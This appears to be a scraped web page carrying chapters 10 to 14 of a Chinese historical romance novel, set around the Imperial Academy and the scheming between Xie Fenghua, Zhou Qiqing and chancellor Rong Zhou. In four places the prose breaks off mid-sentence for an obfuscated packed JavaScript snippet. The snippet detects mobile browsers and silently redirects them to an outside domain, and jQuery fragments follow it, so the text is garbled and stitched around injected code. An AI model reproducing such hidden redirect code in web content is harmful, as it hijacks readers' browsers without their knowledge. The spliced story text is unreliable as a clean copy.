纵使早已领略过容舟的刻薄，即使容舟说的不是她，那些话在谢逢华听来，依旧刺耳得令人不适。 周其卿神色如常，似是没听懂，又似习惯。 他道：“容祭酒说笑了，晚辈也只是个未经人事的学生，哪里值得祭酒屈尊降贵。” 容舟睨他：“是吗？我怎么听说你常去芳春楼吃酒听曲，这事儿你父亲知晓吗？” 藏在袖中的手骤然握成拳。 周其卿毕竟只是个未及冠的孩子，即便因好奇模仿大人吃酒玩乐，即便能在长辈面前假装成熟。 可毕竟心智不熟，一点情绪变化都能被人看得一清二楚。 比周其卿品行不端的比比皆是，成绩差到退学的更是大有人在，为何偏偏揪着周其卿不放？ “祭酒大人，”谢逢华出声，打破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533606|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵冷的气氛，“不知此事与今日课程有何关系？” 容舟显然没料到谢逢华会出言解局，但看着二人胳膊间亲密的距离，又露出一副“果然如此”的不屑。 容舟道：“此事与今日课程并无关系，但谢娘子，老夫好心提醒你，周氏位高权重，眼界高远，非小门小户所能够得上的。” “想攀龙附凤，先问自己配不配。” 几句话，瞬间将众人的注意引到谢逢华身上。 周其卿家世显贵，觊觎世子妃的不少，却都忌惮周其卿恶劣的性格，从未有哪家千金主动接近他。 据说周家与明家有娃娃亲，不知真假，只是两家交恶后，碍着两家身份，旁人也不敢多加揣测。 “攀龙附凤？请问周世子是龙还是凤？”谢逢华淡淡道，“人中龙凤又如何？神婆说我天生克夫命，配不配无所谓，先能活过新婚再说。” 话落，以谢逢华和周其卿为中心，学子们齐刷刷后退几步，绕成了半径为三尺的空心圆。 环顾四周，学子们胆战心惊，窃窃私语，容舟面色铁青，周其卿心中却莫名得畅快，不由得挺直了腰板。 谢逢华朝容舟施礼，道：“如大人昨日所言，太学是为朝廷培育人才的地方，那么晚辈想请教大人，对朝廷来说，何为‘人才’？” “可育之人，可造之才，谓之‘人才’。” 谢逢华笑了笑，道：“晚辈有一事不解，所谓选拔‘人才’，究竟以天资聪颖为先，还是以后天努力为重？” “若天资聪颖，又何须博士学正这些学官费心尽力培养，直接送入朝廷亲手实践岂不是更省时省力？” “若靠后日勤能补拙，太学又为何设置如此高的门槛，分出如今的三六九等？” “何不拆除门槛，一视同仁，让更多读不起书的穷苦百姓和已婚女子入学读书，岂不是能为朝廷提供更多‘可用之人’？” 像是抓到谢逢华话语里的把柄，容舟冷哼一声：“什么人都配入太学？” 谢逢华勾唇，胸中已有成竹，面上表现出疑惑的模样：“圣人常道‘有教无类’。太学准许七品以上官家子弟免试入学，平民百姓不仅限制年龄，还需通过考试才能进入太学，入了太学还需应缴额外费用，难不成这些布衣百姓家的孩子就是祭酒口中的‘不配’吗？” “既然‘不配’，又为何打着‘寒门出贵子’的幌子招揽他们，到底是为了给他们提供实现抱负的出路，还是……有些话，晚辈就不在此点明了。” 这些学子中不乏有普通出身甚至贫寒出身的孩子，因而此言一出，学子们议论纷纷，各抒己见，争执不休。 那些隐秘的规则，要么一个字不说，要么打破砂锅追问到底。 谢逢华就是笃定容舟不敢捅破这层窗户纸，因而故意张冠李戴，曲解规则，肆意试探着容舟乃至太学的底线。 而这些模棱两可、似是而非的辩论，成功激起了一大波学子的怨艾，也将一直隐于幕后冷眼旁观的容舟推入众人视线。 容舟死死盯着她，那锐利的锋芒，仿佛要谢逢华剥皮拆骨，只为一探她皮肉之下的颜色。 谢逢华眼底笑意更深。 谢逢华朝沉默不语的容舟拱手施礼，转头，对陷入深思的周其卿道：“我们走。” 11. 第 11 章 山水湖畔，周其卿与谢逢华并肩而行。 “在想什么？”谢逢华拾起石子，丢入湖中，惊起一滩涟漪。 周其卿猝然回神，摇头，“你得罪了容祭酒，就不怕连累谢学正吗？” “怕啊。”谢逢华点头，鬓边碎发随着微风摇曳，抚过淡粉的薄唇，“所以我要去寻他。” 听到要去找谢怀世，周其卿脸上闪过一瞬慌乱，三两步拦在她面前，“此事关乎谢学正前途，不如先另寻他法，兴许还有回旋之地。” 现下容舟忙于讲学，一时半会顾不上他们。 即便事后算账，这把火也烧不到周其卿身上。 谢逢华饶有兴致地看着他，“我去找兄长商议家事，你急什么？” 二人之间不过半步距离，但凡周其卿俯身，便能嗅到她发间那股萦绕不去的桂花香。 周其卿发觉行为越界，尴尬地收回了手，藏在身后，“毕竟事出在你，谢学正不会指责你吗？” 居然是在担心她？ 谢逢华歪头作沉思状：“或许吧，不过我是他亲妹妹，大抵是不能将我活活打死的。” “他待你很好吧？”周其卿不由得艳羡。 “倘若今日顶撞容祭酒的是你妹妹，你会打骂她吗？” “当然不能。”周其卿不假思索，“我会尽一切能力帮她摆平。” 藏在袖中的手轻颤，谢逢华扯出一个勉强的笑：“你倒是溺爱她。” 周其卿赧颜：“毕竟燕飞是我从小看到大的，这些年也没少为她收拾烂摊子，若没有我帮衬，也会有父亲和母亲出面袒护。” 提及家中小妹，周其卿望向湖面波光，清风拂过，思绪被勾的很远。 谢逢华望着少年柔和的侧颜，强烈的厌恶油然而生。 因为溺爱，所以他就可以轻易把她母亲的遗物当作补偿送给妹妹吗？ 想起周燕飞那日刺耳的话语，谢逢华心口隐隐抽痛。 当初谢逢华真是被驴踢了脑，才会觉得周其卿是个值得信任的好人。 “谢娘子，”周其卿猝然道，“方才论说天资和勤奋，不知你认为哪个更重要？” 谢逢华没想到他竟将方才的话听进去了，讶异之余，又觉得新奇：“世子以为如何呢？” 似没料到她会把问题抛回来，周其卿愣在原地，迟疑犹豫间，时不时用余光偷瞄她的神色。 半晌，他叹气：“我不知道。” “是不知道，还是不敢说？”谢逢华拢了拢衣衫，轻声道，“如果说我认为二者需兼得呢？” 周其卿似有些费解，“可书上分明说……” “君子谋时而动，顺势而为[1]，不是所有的事物都是一成不变的，做人也不要那么死板。” 谢逢华幽幽道：“何况我说什么就是什么？你读了这么多年书，就没有一点自己的想法吗？” 周其卿哑然，低头认栽：“谢娘子说的是。” 谢逢华：“……” 他好像没听懂她的话。 下午有骑射课，谢逢华便先让周其卿回去了。 又在湖边坐了一会儿，直到一人坐于身侧，谢逢华扔掉木枝，道：“那时，你真的是失足落水吗？” 谢怀世沉吟半晌，道：“无论如何，是周世子救了我。” “恩是恩，怨是怨，我分得清。”谢逢华撑地起身，“倒是你，还想做你的谢学正吗？” 纵使辞官归家，谢怀世一时半会也进不去家门。 谢怀世叹气，道：“应时，你可知容祭酒为何如此针对周其卿？” 马车摇摇晃晃，停在明府正门外。 看清来客，管家迎上来，“容大人，我家老爷吊着一口气，只等您前来了。” 望着静悄悄的庭院，容舟敛目，撩起墨袍，跨过了那道早已褪色的红木门槛。 容舟道：“御史……明大人病了多久了？” 管家回忆道：“老爷从入夏起就一直念叨头痛，这入秋天凉，头痛就更严重了，前月又逢仕途不顺，屡遭打击，这一来二去，就一病不起了。” 这个周惕守，弄残明家几个儿子还不够，非要将他们赶尽杀绝吗？ 容舟道：“听说前些日子大小姐回来了，她现在在哪儿？” 管家道：“方才出去了，说是要见一个多年未见的友人。” 容舟眉心微拧，推开虚掩的门，一股浓烈刺鼻的草药味扑面而来。 床榻上，一个形容枯槁的老人撑开了堆叠的眼皮，漏出一线墨白。 “容大人。” 容舟坐于一旁，伸手接住那根腐朽的枯枝。 明荣努力长大了嘴，断断续续的气流从喉间析出：“周惕守……无耻……小人……” 枯爪钳住她的胳膊，掐得皮肉青紫，明荣双目圆瞪，喃喃重复着这几个苍白无力的字眼。 容舟按捺内心的焦躁，绷着唇角问道：“他都和你说了什么？” 浑浊的眼球死死盯着她，忽而，像是觉察到什么，微微转动，视线落在她身后。 容舟一愣，扭头望去。 明玥端着药碗，静静站在她身后。 曾经的少女长成了端庄稳重的妇人，唇边弧度未减： “许久不见，容大人。” 用过药，明荣慢慢合上了眼皮。 庭院落叶堆叠，一脚踏上去，宛若咬碎的酥饼，噼里啪啦地响。 “自同朝为官以来，父亲和周惕守便针锋相对，为了扳倒周惕守，父亲当年甚至想将我嫁入周家做妾。” 凉亭内，明玥推来一盏热茶，道：“我这几个弟弟不争气，累死累活做官考功名，折腾这么多年，抵不过别人动动手指的力气，真是赔了夫人又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533607|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折兵。” 容舟眼皮都没抬一下，呷了口茶，道：“这些年你过得如何？他……待你可好？” “他待我不错，小妹懂事，时常帮衬着，日子也算过得去。” 曾经不沾阳春水的手指已结了一层薄茧，一张纯洁的白纸被生活揉搓，纵使小心呵护，也抚不平深深浅浅的褶皱。 容舟忍着怒气，撂下茶盏，“他若珍视你，就不会让你做这些粗活。” 一片枯叶打着旋飘落桌案上，明玥抬手将其抚落，“阿舟，我别无选择。” 又是长久的沉默。 直到下人跌跌撞撞奔来，扑通一声跪在阶下，“大小姐，老爷……老爷没了。” “好！” 飞矢中标，周围喝彩声不绝于耳。 周其卿下马收弓，环视四周，终在人群角落里寻到那抹青白倩影。 周其卿挤开人群，弯腰钻进谢逢华伞下，得意洋洋：“五箭中四，如何？” 谢逢华正琢磨如何偷偷去买酥山吃，伞下忽而扑来一股热气腾腾的湿热，夹杂着汗液的潮湿，瞬间驱散了阴凉下的清风。 谢逢华微微蹙眉，朝一旁躲闪，“一般。” 周其卿挑眉：“你见过更好的？” 谢逢华望着场内满天黄沙，道：“人外有人，我虽不懂骑射，但总有人百发百中。” 谢逢华个子矮，伞压得低，周其卿被迫弯下腰，红扑扑的脸无意蹭上扶伞的手。 热冷交汇，奇怪的触感一瞬间贯穿全身。 二人同时一愣。 伞面倾倒，歪倒向黄土飞扬的骑射场。 周其卿率先反应过来，探手捞回伞柄。 燥热的掌心就这么猝不及防包裹住她的手。 薄茧重重摩过温润的肌肤，心跳骤然加快，热度腾升，烧红了她的脸颊。 细密的睫毛轻颤，指掌间湿漉漉的汗黏成浆糊，将她牢牢桎梏在掌心与伞柄之间。 硌手，有些疼。 “你——”谢逢华恼怒，抬眼欲叱，却撞见他正盯着自己，眼底翻涌着说不清道不明的情绪。 又中一箭。 学子们欢呼雀跃，纷纷叫嚷着再来一矢。 周其卿望着她，薄唇轻启：“你……” 伞外人声鼎沸，呐喊铺天盖地，如潮水拍岸，那些不为人知的秘密一击即碎，碎片卷入浪潮中，再也寻不见半分踪迹。 “什么？”谢逢华艰难辨认他的唇形，努力拔高音量，“听不清。” 周其卿怔愣，原本紧绷的脸因她一句话放松下来。 新一轮骑射比赛开始，不远处，有人在唤他。 谢逢华忙追问道：“方才说了什么？” 他摇头，将伞扶正，后退几步退出伞下。 “不重要了。”周其卿道，“谢娘子，你的香缨很好闻。” 12. 第 12 章 这话什么意思？ 谢逢华苦着脸，半个身子趴在桌案上。 墨迹凝固在纸上，月光漫过窗棂，落在香缨上，泛出莹白的光。 谢逢华凑近嗅嗅，香味很浅，像冷水里的一小撮蜜，似有若无。 狗鼻子。 谢逢华嘟哝。 容舟迟迟未归舍，谢逢华再也坐不住，在屋内走了几圈，最后还是披上披风，出了门。 御青阁灯火通明，不少学子仍伏案苦读。 谢怀世执笔写着什么，专注得连身后多个人都不知晓。 谢逢华看了一会儿，站得腿发麻，忍不住拍他的肩。 谢怀世一哆嗦，纸上划出一道墨痕。 “应时？” 看清来人，谢怀世抚着胸口，环顾四周，比了个噤声的手势，起身朝外走。 披风挡不住凉风，谢逢华缩了缩脖子，道：“我去廨舍找你，刘博士说你在这里。” “几个学子的课业不合格，临近策试，我自然要多费心。” 谢逢华漫不经心道：“周世子上次旬试成绩不错。” 谢怀世轻笑：“抄袭而已，他这么做不是一天两天了。” 谢逢华：“……” 谢怀世拉着她躲在避风处，“祭酒回来了吗？” 谢逢华摇头：“路上我寻人打听过了，祭酒已回容府，今夜应是不宿在太学了。” 扶在肩上的手垂落，谢怀世眸中隐隐失落。 明明不甘心，却也知晓埋怨也无用，道：“罢了，不过一学官而已，此事待祭酒归来再议也不迟。” 四肢冻得有些不听使唤，谢逢华动了动脖颈，“事由我出，要罚要骂，尽管冲我来，凭什么要赶你走？分明是欺软怕硬——” “应时！”谢怀世脸色骤变，忙捂住她的口，低声呵斥道，“隔墙有耳，莫要乱说。” 谢逢华拂开他的手，恹恹不乐：“自从我来太学，你忙的脚不沾地，没有一天清闲日子，备课督学也就罢了，那洒扫提水何时也需要学正去做？” 谢逢华越想越气：“高官欺负你，就连学生也欺负你，平日你教训我时不是很硬气吗？你的骨气呢？” “我初来乍到，自是要多做些才好立足，至于欺负……”谢怀世无奈，“自前朝起，太学风气一向如此。我们无权无势，低人一等，也算是人之常情。” “兄长！”谢逢华一肚子委屈无处诉说，恨自己鲁莽，恨自己无能，为兄长畏手畏脚急得跺脚。 “好了好了，此事我已有打算，你就不用操心了。”谢怀世扯了扯嘴角，“待你嫂嫂回来，咱们就回家继续过清闲日子。” “回来？”谢逢华捕捉到他话中的漏洞，疑惑道，“嫂嫂离家了吗？” 谢怀世默了下，似乎意识到说多了话，讪笑一声，推着她的肩往另一边走，“你嫂嫂随友人出去玩两日罢了，时候不早了，赶快回去休息。” 谢逢华无功而返，走到廨舍，却遥遥见舍门外站着一人，背对着她，身形分外眼熟。 谢逢华走近，试探道：“世子？” 敲门的手止在半空，周其卿回身，左手下意识藏在身后。 “这么晚了，世子还在夜游吗？”谢逢华笑着调侃。 周其卿：“睡不着，出来走走，听说祭酒今日未归，怕你一人害怕，顺路来瞧瞧。” 谢逢华觉得奇怪：“我连死人都不怕，为何要怕那些虚无缥缈的东西？” “当真不怕？” “心中有鬼的人才最惧怕鬼，心有牵挂的人才最想见到鬼。”谢逢华喃喃道，“若世间有鬼神……爹娘为何还不来寻我？” 周其卿默然，慢吞吞上前几步，左手从身后掏出，递到她面前。 油纸包着巴掌大小的四方，凑近些，一股枣香跃上鼻尖。 莫名熟悉。 “东市的崔氏枣糕？”谢逢华道，“给我的？” “买多了，吃不完浪费。”周其卿提了提枣糕，不耐道，“接着，一会儿凉了。” 枣糕明明还热乎着，怎会因为一时半会凉透。 谢逢华放在手心掂了掂，沉甸甸的，压在手中像个小火炉。 “这么多，我也吃不下呀。” “你不是还有个好兄长？”周其卿胸腔叱出气音，没什么好气，“不如给他分一分，兴许他念你个好，多在祭酒面前给你说说好话。” “兄长都快被逐出太学了，哪还有心思吃这种甜腻的东西。”谢逢华拆了绳，用帕子捏了块枣糕，放在唇边咬了口。 事出不意，联想到容舟的脾性，这种结果倒也在意料之中。 周其卿道：“我早就与你说过，容祭酒心眼忒小。去年梁国使臣来访，欲与大夏交好。若非容舟从中作梗搅黄了和亲，梁国被逼急才打了这一仗。” 谢逢华囫囵咽下一口软绵绵的面团，道：“你的意思是，梁国一开始就没想出兵？” 周其卿点头：“容祭酒一开始也不是祭酒，原任尚书令一职。是和亲公主身边人出卖了容舟，事情败露，舅……圣上为了平息众怒，便将她贬来太学修身养性。” “可……这和容舟心眼小有什么关系？” 周其卿倒了盏温茶，推到谢逢华手边，“容舟咬定是我父亲设计陷害，理由是公主出逃前夜，父亲连夜给圣上上了道密折。” 谢逢华灌了茶，顺了气，才问道：“折子里写了什么？” 周其卿单手支额，饶有兴致地看着她，道：“我也不知。” 谢逢华道：“不好奇吗？” 周其卿倒是一副无所谓的姿态，“好奇又如何？如今梁国战败，甘心臣服我大夏；容舟已失圣心，再无起复可能——谢娘子，枣糕好吃吗？” 谢逢华噎住，低头瞧瞧，手边只剩半块孤零零的枣糕。 周其卿：“方才谁说吃不下？” 谢逢华：“……” 周其卿扶着石案笑，笑弯了腰，笑得眼泪浸湿了眼角。 他的笑声惊飞了亭中山雀，谢逢华又羞又恼，怕再惹来旁人耻笑她，起身绕过石案，抓起半块枣糕塞进他口中。 “你分明就是故意的！” 谢逢华红着脸，此时也顾不得什么礼仪分寸，只想用枣糕狠狠堵住他的口，让他不能再说半分虎狼之词。 “又不是我逼你的，这怎能赖到我头上？” 周其卿左右躲闪，抬手擒住她的手腕，这才得了一些喘息空间。 大多枣糕还捻在她手中，糕屑零零碎碎黏在薄红的颊边，狼狈又好笑。 嚼碎口中小半块枣糕，甜腻口感在唇齿间漾开。 甜过头了。 周其卿想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533608|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “周其卿！”谢逢华猝不及防一声惊呼，将周其卿飘飞的思绪拉扯回来。 面前人眉头紧蹙，一张秀气的鹅蛋脸骤然多出几道忧愁的纹路。 “松手，疼！” 谢逢华拍打着他的手，松垮的发髻散下几缕乌丝，随着动作轻拂过脸颊、下颚…… 周其卿深吸一口气，松了手。 谢逢华从他身上跳开，眨眼间便退出了三步远。 低头看看手背的红印子，周其卿哂笑：“手劲不小。” 谢逢华捂着手腕，瞪他：“登徒子。” 周其卿扯出袖帕，慢条斯理捻去脸上糕屑，不置可否：“谢娘子，您何以认为我是正人君子？” 谢逢华按揉着腕处，闻言，竟当真做出沉思状。 “你并非君子，心思却不坏。” 拂拭手背的指尖顿住，周其卿漫不经心道：“何以见得？” “你救了我的兄长。” 言简意赅，字字入骨。 望着她真诚的双眸，周其卿心跳加快。 不知是感动还是心虚，就连双手都不自觉轻颤，不能自已。 双手用力交握，就连指甲都陷入皮肉之中，细密的刺痛与强烈的反胃感相抵触，抗衡间，周其卿慢慢冷静下来。 “换做别人，我也会救。”周其卿满不在乎地说道。 “是吗？”不知想到什么，漂亮的眉眼拱起微小的弧度。 谢逢华道：“你本性不坏，只是无人敢如我这般光明磊落地告知你罢了。” 是了，在他们眼中，周其卿高高在上，流连于乐楼酒肆之间，不学无术，行径恶劣。 纵使他偶然得了优异，同窗笑哈哈地问他抄谁的试卷，就连父亲…… 周其卿：“你当真信我？” 谢逢华眸光微动，对上他忐忑不安又满含期待的眼眸，眼底笑意更深。 谢逢华上前一步，隔着柔软的丝锦，握紧他颤抖的手，坚定地说：“周其卿，我信你，所以你更要相信你自己。” 周其卿苦笑：“谢娘子倒是瞧得起我。” “我瞧过你上次的旬试成绩，论点一针见血，论据字字有力，中途有过修改涂抹，分明是有自己思考条理，并非抄袭所能模仿得来的。” 周其卿怔怔望着她，耳根蓦然染了一层绯红。 他张口欲言，又听谢逢华道：“只是论述条理混乱，更有些论据张冠李戴，似乎他们只教你如何写文章，却无人教过你如何完善文章。” 像是预感到了什么，周其卿反客为主，紧紧攥住她的衣袖，掌中渗出薄汗，沾湿了那一小块衣衫。 “谢娘子。”周其卿喉间紧涩，每个字都像是用尽了莫大的勇气，“请谢娘子教我。” “我？”谢逢华意外，旋即又笑着摇摇头，“我不过一乡野丫头，哪里比得上太学博士博学多才。” “何况兄长辞官，我也要随着兄长归家，即便我有心，怕也是无力助你。” 周其卿一哽，急恼如火烧得他汗如雨下，“我……我不会让你走的！” 说罢，周其卿用力握了握她的手，转身奔向夜色深处。 直到视野里再也寻不见周其卿的影子，谢逢华慢慢敛去了笑意。 婆娑树影间，谢逢华低头看着袖口的皱褶，神色晦暗不明。 13. 第 13 章 翌日傍晚，周其卿在御青阁找到了正在看书的谢逢华。 比起猝不及防出现在面前的周其卿，谢逢华更关注他手上沉甸甸的书本。 周其卿将书往前递了递，急切道：“谢逢华，教我。” 谢逢华微微蹙眉，低头又翻了一页书，“没大没小，太学几十余学官不够你用了？” 见她不理，周其卿唰唰翻了几页书，双手捧着弯腰递上前，放软了语气，“谢娘子，我不懂。” 谢逢华手持书本扭过身，连个眼神也没分给他。 周其卿三两步追到她面前，径直将书撂在她的书上，一撩衣摆，极为潇洒跪坐在她身边。 “谢娘子，求您教我。” 谢逢华把书拿起，丢在他身上，“我看不懂，去问谢学正。” 周其卿捏着书页，颇为委屈道：“他下堂便急忙忙走了，为了寻他，我晚膳都没吃。” 谢逢华这才想起，谢怀世今晚告了假，说是要见一个远道而来的友人。 谢逢华合上书，瞧了眼窗外日光，沉吟片刻，朝他伸出手。 周其卿忙把书放在她手上。 难题不难，如何能讲懂周其卿却是个问题。 “世子爷！”一声清朗的高呼打破了阁楼寂静。 被打扰的学子们不满看向来人，见是太学那群不学无术的混不吝们，咬了咬牙，随便扯了两团纸塞进耳中。 谢逢华猝不及防被断了话头，扭头却见章旭与周其卿勾肩搭背，嘻嘻哈哈的模样闹得人心烦，也便没了继续讲的心思。 “江月楼今儿新酿了几壶好酒，号称一杯不倒半杯醉，世子可有兴趣一探究竟？” “什么倒不倒醉不醉，不过是那店家的噱头。”周其卿拨开肩膀上的胳膊，不以为意道，“今夜小爷要背书，改日再去。” 章旭挑眉，讶异地挠挠头，转而看到他身侧的谢逢华，又露出一副了然的神色。 难怪周其卿今日用功学习，敢情身边多了个凶婆娘管教。 要说周其卿口味真是独特，以周其卿的身份，想要什么美人不过是招招手说句话的功夫，可偏偏他就看上了这么一个—— “谢应时，怎么不说话？” 周其卿摇了摇她的胳膊，“这个字怎么讲？” 谢娘子捧着书转了个身，背对着他们。 倒是个有骨气的。 章旭心道，不过她很快就知道周世子的“小霸王”的名号是如何来的了。 “谢逢华！” 不出所料，不过一息的功夫，周其卿耐心磨尽，猛得站起来，撕破了最后的伪装，“非让我跪下求你你才肯告诉我吗？” 谢逢华托腮，斜眼睨他，语调淡淡：“哦，你跪吧，我受得起。” 按辈分，谢逢华的确受得起。 周其卿哽住，原地踌躇了会儿，挠挠头，弯腰拾起了丢在地上的书本，嘟哝了句什么，一拍章旭的肩：“走，去江月楼！” 居然没掀桌？ 这可不是章旭想看到的结果。 谢逢华拾笔舔墨，闻言顿了下，抬眸看向他。 厌恶、鄙夷、不屑。 她好似骂得很难听，却一个字都没说出口。 只那一眼，如一只无形的手，死死攥住周其卿的脖颈，勒得他一口气上不了又下不去。 “随便你。” 谢逢华撂下话，便不再理会他们。 周其卿重重把书往案上一拍，转身就走。 见状，章旭再也顾不得什么报复，抬脚追了过去。 待耳畔终于落得清净，谢逢华稍稍挺身，将书本整好，搁置一旁。 看着纸上的娟秀小字，谢逢华陷入沉思。 兄长说的对，周其卿确实该好好磨磨性子了。 但谢逢华不想插手。 谢逢华沉吟片刻，起笔落书。 “既无家世，又无姿色，那谢娘子如何引得你如此上心？”章旭满了杯酒，推至周其卿面前。 周其卿抿了小口，薄淡如水，无滋无味。 见他不言，章旭又道：“听闻谢学正说，谢娘子颇有几分才学，可惜身为女子，终是要嫁为人妇，相夫教子。” 周其卿蹙眉，温声道：“谢娘子尚未婚配。” “未有婚配？”章旭咂舌，“我瞧是另有隐情。” 周其卿掀了眼皮：“此话怎讲？” 像是掐准了七寸，章旭一激灵弹起，搬着座椅坐在周其卿身侧。 “我派人打听过，谢逢华本是阳城人士，在阳城先后许配给了崔氏和赵氏，奇怪的是，这两个未婚夫都是在大婚前两日莫名身亡。” “后来刘氏向谢家提亲，没成想提亲第二日刘氏险些溺水身亡，久而久之，谢逢华克夫的名号便传遍了阳城，碰巧谢家突遭变故，谢逢华不得不背井离乡，来到华京投奔谢学正。” 周其卿不声不响地听着，起初脸色还算和缓，听到“身亡”“克夫”的字眼时，眉心一跳，说不出的情绪油然而生。 听到最后，不知为何，周其卿竟莫名松了口气。 杯中酒也有了回味的甘甜。 是庆幸，还是幸灾乐祸？ 周其卿分辨不出。 “她——” “周世子！”雕花木门骤然响起两三声轻响，有人在外面道，“有位小娘子寻您。” 小娘子？ 不会是谢逢华吧？ 周其卿放下酒盏，“你去告诉她，小爷今日不见客。” “不必了。”木门被人推开，谢逢华提裙迈步跨进门内。 她目不斜视，眼睛一眨不眨道：“这江月楼的酒就这么甘甜，引得你日日光顾？” “你怎么知道——”对上她冷漠的眸子，周其卿话锋一转，蛮横道，“你少管闲事。” 谢逢华道：“我确实不想管，不过容祭酒与刘博士就在楼下，你若不想他们用你进出江月楼的事弹劾你父亲，就赶快离开这里。” “容祭酒向来洁身自好，不可能来此地……”章旭说着，起身开窗，探着脑袋朝外张望。 周其卿抬眸盯着她：“你为什么会来这里？” “来找你。”谢逢华道。 “还真在楼下？”章旭一缩头，如王八般钻回壳中，“他们带了人。” 周其卿见过世面，没章旭那么焦急般上蹿下跳，搓得起褶的衣袖却出卖了他内心的慌乱。 周其卿来酒楼乐馆，向来只有寥寥几人知晓，今日章旭也只邀了他一人，容祭酒又是如何知晓的？ 周其卿转而看向谢逢华，谢逢华依旧穿着那身素白的衣裳，飘飘如仙。 谢逢华朝他笑着，面上不见丝毫开怀。 “后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533609|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门开着，你们现在走还来得及。”谢逢华侧身让路，“店家拦不了他们多久，快走吧。” “你呢？” “我替你们拦住她。” “不成。”周其卿想也不想拉住她的衣袖，“得罪了容舟，你以为你能脱身吗？你和我们一起走。” 谢逢华眼中闪过一瞬错愕，旋即慌忙挣脱桎梏，道：“那又如何？我孤身一人，她还能杀了我不成？” “你——” “别废话，快走！”谢逢华下了逐客令，推着周其卿朝外走。 章旭也劝道：“世子，谢娘子说得对，你身后还有周家，万不可让容舟拿捏了把柄，我们快走罢。” 被章旭拽走时，周其卿不甘心地回头看她。 不舍、纠结、感激…… 谢逢华反手关门，彻底断绝他最后的执着。 直到门外再也听不见声响，谢逢华从袖中摸出碎银，塞进店家手中。 “什么该说，什么不该说，你知道的。” 店家连连应是，从袖中掏出几页纸，“谢娘子，这便是世子近几日的账。” 谢逢华翻了翻，看清账上的花费，疑惑道：“只有这些？” “是了，周世子嘴挑，一般的酒水入不了他的口。” 谢逢华了然，将纸叠好塞入袖中，往手中洒了些茶水，起身下楼。 江月楼外，容舟一见到谢逢华，原本紧绷的唇角松了防备，道：“人呢？” “许是有人通风报信，我去的时候人已经不在了。” 谢逢华拨弄额前碎发，额角的汗水在灯火映衬下泛着雾色。 容舟面露失望，心中亦是不甘。 “不过我向店家要了账本。”谢逢华说着，从袖中摸出几页纸，连同腰牌一同递给容舟，“这是周世子近些时日在江月楼的开销。” 刘尽才接过，细细查验后，与容舟交换眼神。 刘尽才道：“谢娘子心细，幸得有你帮衬，不然我们两个老骨头还真不知如何是好。” 谢逢华摇头：“若非你们告知，我竟不知周世子背地里做这种事情。” 容舟取回腰牌别再腰间，闻言轻咳一声，“谢娘子，今日之事，还请您不要告诉他人。” 谢逢华诚惶诚恐，连连摆手：“容祭酒言重了。这些天受您和刘博士的照拂，民女无以为报，能为您、为太学排忧解难，亦是民女幸事。” 不知想到什么，容舟欲言又止。 刘尽才接话：“时候不早了，我派人送谢娘子回去。” 马车载着万家灯火，摇摇晃晃驶向远方的明月。 容舟突然说道：“若没记错，这几日谢逢华与周世子走得极近。” 刘尽才道：“周世子救了谢学正，谢娘子对他有好感也算人之常情。” “对他有好感？”容舟晃了晃手中的纸，“那她现在在做什么？大义灭亲？” 刘尽才脑子一时没转过弯，道：“难道不是怕他误入歧途吗？” 若不在乎，又为何费尽心思找到他们寻求帮助。 倘若真的担忧，又为何主动把证据交给他们，甚至连离开都如此决绝？ 容舟看着纸上密密麻麻的字迹，心中暗忖。 “谢逢华不能离开太学。”容舟摩挲腰牌，“在一切尘埃落定之前，她绝不能离开我们的视线。” 14. 第 14 章 果然她还是坐不惯马车。 车夫的驾车技术实在差劲，马车随着街边灯笼一起晃，晃得眼前阵阵花白，脑袋时不时磕在坚硬的厢木上，一记猛拐，更是撞得谢逢华两眼冒金光。 下车时，谢逢华脸色白如月，脚下虚浮，只差一束金光一朵祥云，便能原地飞升成仙。 谢逢华坐在门外石阶上，抱着双膝，帕子捂着唇，眉眼含泪，活生生一副可怜弱女子的模样。 月色伴随披风落在谢逢华肩头，薄弱的身躯轻颤，谢逢华转头看向来人。 周其卿站在高一层的石阶上，居高临下地看着她。 